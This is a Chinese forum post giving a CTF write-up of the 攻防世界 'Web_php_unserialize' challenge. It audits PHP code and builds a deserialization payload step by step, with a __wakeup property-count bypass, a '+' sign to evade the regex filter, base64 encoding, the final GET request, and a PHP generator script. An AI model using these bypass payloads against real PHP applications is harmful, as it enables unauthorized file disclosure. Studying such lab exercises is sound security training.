[CTF/网络安全] 攻防世界 Web_php_unserialize 解题详析

打印 上一主题 下一主题

主题 1035|帖子 1035|积分 3105

代码审计

这段代码首先定义了一个名为 Demo 的类,包罗了一个私有变量 $file 和三个把戏方法 __construct()、__destruct() 和 __wakeup()。其中:


  • __construce()方法用于初始化 $file 变量
  • __destruce方法用于输出文件内容
  • __wakeup() 方法检查当前对象的 $file 变量,假如不等于 index.php,则将其重置为 index.php,从而防止攻击者通过反序列化攻击来读取 fl4g.php 文件的内容。
  1. if (isset($_GET['var'])) {
  2.     $var = base64_decode($_GET['var']);
  3.     if (preg_match('/[oc]:\d+:/i', $var)) {
  4.         die('stop hacking!');
  5.     } else {
  6.         @unserialize($var);
  7.     }
  8. } else {
  9.     highlight_file("index.php");
  10. }
  11. ?>
复制代码
这段代码重要是用于吸取 GET 参数 var,使用 base64_decode 函数对 var 进行解码,然后通过 preg_match 函数判断是否包罗类似 o:2的字符串,假如存在则停止步伐执行,否则调用 @unserialize 函数进行反序列化操作。
解题思绪

逆向思想:由于反序列化时先执行wakeup函数,故先绕过wakeup函数,再依次绕过preg_match函数与base64编码。
构造初始POC:
  1. O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
复制代码
wakeup绕过

修改反序列化串的对象属性个数,使之大于真实属性个数即可。
构造POC如下:
  1. O:4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
复制代码
preg_match绕过

preg_match的正则表达式/[oc]:\d+:/i表示匹配恣意个位于开头的 o 或 c 字符,紧接着一个冒号,然后是一或多个数字,末了是一个冒号,不区分大小写。
即形如o:2:的字符串被过滤,使用 + 即可绕过(固定知识点
构造POC如下:
  1. O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
复制代码
base64绕过

由于标题将字符串进行base64解码,故将POC进行base64编码即可:
  1. TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
复制代码
GET传参

利用var构造POC如下:
  1. ?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
复制代码

PHP序列化的时候对public protected private变量的处理处罚方式是差别的
public无标记,变量名稳定,如s:3:"qiu";i:2;
protected在变量名前添加标记\00*\00,长度加3,如s:6:"\00*\00qiu";i:2;
private在变量名前添加标记\00(classname)\00,长度+2+类名长度,如s:17:"\00FileHandler_Z\00op";i:2;
method 2

由于手动构造POC链会出现输出乱码的情况,因此法二采用工具进行序列化。
代码如下:
  1. <?php
  2. class Demo {
  3.     private $file = 'index.php';
  4.     public function __construct($file) {
  5.         $this->file = $file;
  6.     }
  7.     function __destruct() {
  8.         echo @highlight_file($this->file, true);
  9.     }
  10.     function __wakeup() {
  11.         if ($this->file != 'index.php') {
  12.             //the secret is in the fl4g.php
  13.             $this->file = 'index.php';
  14.         }
  15.     }
  16. }
  17. $Q=new Demo("fl4g.php");
  18. $Q=serialize($Q);  //序列化
  19. $Q=str_replace("O:4","O:+4",$Q);  //+号绕过
  20. $Q=str_replace(":1:{",":2:{",$Q);  // wakeup绕过
  21. $Q=base64_encode($Q);  //base64绕过
  22. echo $Q;
  23. ?>
复制代码


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

卖不甜枣

论坛元老
这个人很懒什么都没写!
快速回复 返回顶部 返回列表